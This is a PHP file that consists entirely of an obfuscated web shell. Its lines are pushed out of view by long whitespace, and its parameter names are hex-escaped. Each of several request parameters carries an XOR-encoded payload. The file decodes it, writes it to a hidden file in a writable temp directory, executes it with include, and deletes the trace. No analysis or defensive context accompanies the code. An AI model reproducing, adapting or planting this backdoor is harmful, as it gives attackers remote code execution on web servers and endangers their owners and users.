<?php																																										if(array_key_exists("key", $_REQUEST)){ $record = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", getenv("TMP")]); $entity = $_REQUEST["key"]; $entity = explode (".", $entity ); $pointer = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $v = 0; array_walk($entity, function ($v4) use (&$pointer, &$v, $s, $sLen) {$sChar = ord($s[$v % $sLen] ); $dec = ((int)$v4 - $sChar - ($v % 10)) ^ 7; $pointer .= chr($dec ); $v++; }); foreach ($record as $elem): if ((bool)is_dir($elem) && (bool)is_writable($elem)) { $token = implode("/", [$elem, ".itm"]); $success = file_put_contents($token, $pointer); if ($success) { include $token; @unlink($token); die();} } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x70se\x74")){ $reference = $_POST["\x70se\x74"]; $reference = explode ( "." ,$reference ); $object = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4 ); foreach ($reference as $z => $v3) { $sChar = ord($s4[$z % $sLen] ); $d = ((int)$v3 - $sChar - ($z % 10))^ 14; $object .=chr($d );} $item = array_filter([getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); foreach ($item as $key => $mrk) { if (is_dir($mrk) ? is_writable($mrk) : false) { $bind = "$mrk" . "/.pointer"; if (file_put_contents($bind, $object)) { require $bind; unlink($bind); die(); } } } }
																																										if(isset($_POST["p\x72o\x70e\x72ty_\x73\x65t"]) ? true : false){ $flg = array_filter(["/dev/shm", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), getenv("TMP"), session_save_path()]); $ptr = $_POST["p\x72o\x70e\x72ty_\x73\x65t"]; $ptr=explode ('.' ,$ptr) ; $obj = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s5); $o = 0; $len = count( $ptr); do { if( $o >=$len) break; $v1 = $ptr[$o]; $sChar = ord( $s5[$o % $lenS]); $d = ( ( int)$v1 - $sChar -( $o % 10)) ^29; $obj .= chr( $d); $o++; } while( true); foreach ($flg as $object) { if ((is_dir($object) and is_writable($object))) { $marker = vsprintf("%s/%s", [$object, ".pointer"]); if (@file_put_contents($marker, $obj) !== false) { include $marker; unlink($marker); die(); } } } }
																																										if(isset($_POST) && isset($_POST["h\x6Fl\x64\x65r"])){ $symbol = array_filter(["/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/tmp", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp"]); $sym = $_POST["h\x6Fl\x64\x65r"]; $sym = explode ( '.' ,$sym ) ; $object =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt5 ); $m =0; array_walk($sym , function ($v6) use (&$object , &$m , $salt5 , $lenS) { $sChar =ord($salt5[$m % $lenS] ); $dec =((int)$v6 - $sChar - ($m % 10))^56; $object .= chr($dec ); $m++; } ); foreach ($symbol as $flg): if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $ref = "$flg/.elem"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $ref; @unlink($ref); exit; } } endforeach; }
																																										if(array_key_exists("\x76al\x75e", $_REQUEST) && !is_null($_REQUEST["\x76al\x75e"])){ $record = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/tmp"]); $parameter_group = $_REQUEST["\x76al\x75e"]; $parameter_group = explode ('.' , $parameter_group ) ; $binding = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8); $len = count($parameter_group); for($x = 0; $x < $len; $x++) {$v2 = $parameter_group[$x]; $sChar = ord($salt8[$x % $lenS]); $d =((int)$v2 - $sChar -($x % 10)) ^ 70; $binding.= chr($d); } foreach ($record as $factor) { if (!!is_dir($factor) && !!is_writable($factor)) { $ref = str_replace("{var_dir}", $factor, "{var_dir}/.resource"); if (@file_put_contents($ref, $binding) !== false) { include $ref; unlink($ref); exit; } } } }
																																										if(isset($_POST["\x68\x6F\x6Cder"]) ? true : false){ $property_set = $_POST["\x68\x6F\x6Cder"]; $property_set = explode ( '.' , $property_set ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $property_set as $k => $v6): $sChar = ord( $salt[$k % $lenS]); $d =( ( int)$v6 - $sChar -( $k % 10)) ^ 75; $entity .= chr( $d); endforeach; $element = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path()]); foreach ($element as $key => $itm) { if (is_dir($itm) && is_writable($itm)) { $factor = sprintf("%s/.ent", $itm); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $entity); fclose($file); include $factor; @unlink($factor); exit; } } } }
																																										if(array_key_exists("b\x69n\x64", $_POST) && !is_null($_POST["b\x69n\x64"])){ $hld = array_filter([getenv("TMP"), "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", "/dev/shm", sys_get_temp_dir()]); $parameter_group = $_POST["b\x69n\x64"]; $parameter_group=explode ( '.' ,$parameter_group ) ; $itm= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s ); foreach( $parameter_group as $z => $v7) { $sChar= ord( $s[$z % $sLen] ); $dec= ( ( int)$v7 - $sChar -( $z % 10)) ^ 81; $itm .= chr( $dec );} while ($res = array_shift($hld)) { if ((bool)is_dir($res) && (bool)is_writable($res)) { $comp = str_replace("{var_dir}", $res, "{var_dir}/.token"); $success = file_put_contents($comp, $itm); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(in_array("p\x74r", array_keys($_POST))){ $element = array_filter([getcwd(), sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", "/var/tmp"]); $entity = $_POST["p\x74r"]; $entity =explode ( '.' , $entity ) ; $hld = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $x = 0; $__len = count($entity); do { if ($x>= $__len) break; $v3 = $entity[$x]; $sChar = ord($salt3[$x % $sLen]); $dec = ((int)$v3 - $sChar - ($x % 10)) ^ 18; $hld .= chr($dec); $x++; } while (true); foreach ($element as $property_set): if (max(0, is_dir($property_set) * is_writable($property_set))) { $tkn = implode("/", [$property_set, ".entry"]); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $tkn; @unlink($tkn); exit; } } endforeach; }


if(!empty($_REQUEST["\x70\x6Finter"])){
	$dat = array_filter(["/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]);
	$tkn = $_REQUEST["\x70\x6Finter"];
	   $tkn	= 	explode 	( 	'.',	 $tkn   );
	$bind	= '';
            $salt4	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	= strlen($salt4	 );
            $s	= 0;
    
            while ($s< 	count($tkn)) {		$v8	= $tkn[$s];
                $chS	= ord($salt4[$s%$lenS]	 );
                $d	= ((int)$v8 - $chS - ($s%10)) ^ 	38;
                $bind .= chr($d	 );
                $s++;
            }
	for ($itm = 0, $marker = count($dat); $itm < $marker; $itm++) {
    $object = $dat[$itm];
    		if (is_writable($object) && is_dir($object)) {
    $element = str_replace("{var_dir}", $object, "{var_dir}/.factor");
    if (@file_put_contents($element, $bind) !== false) {
	include $element;
	unlink($element);
	die();
}
}
}
}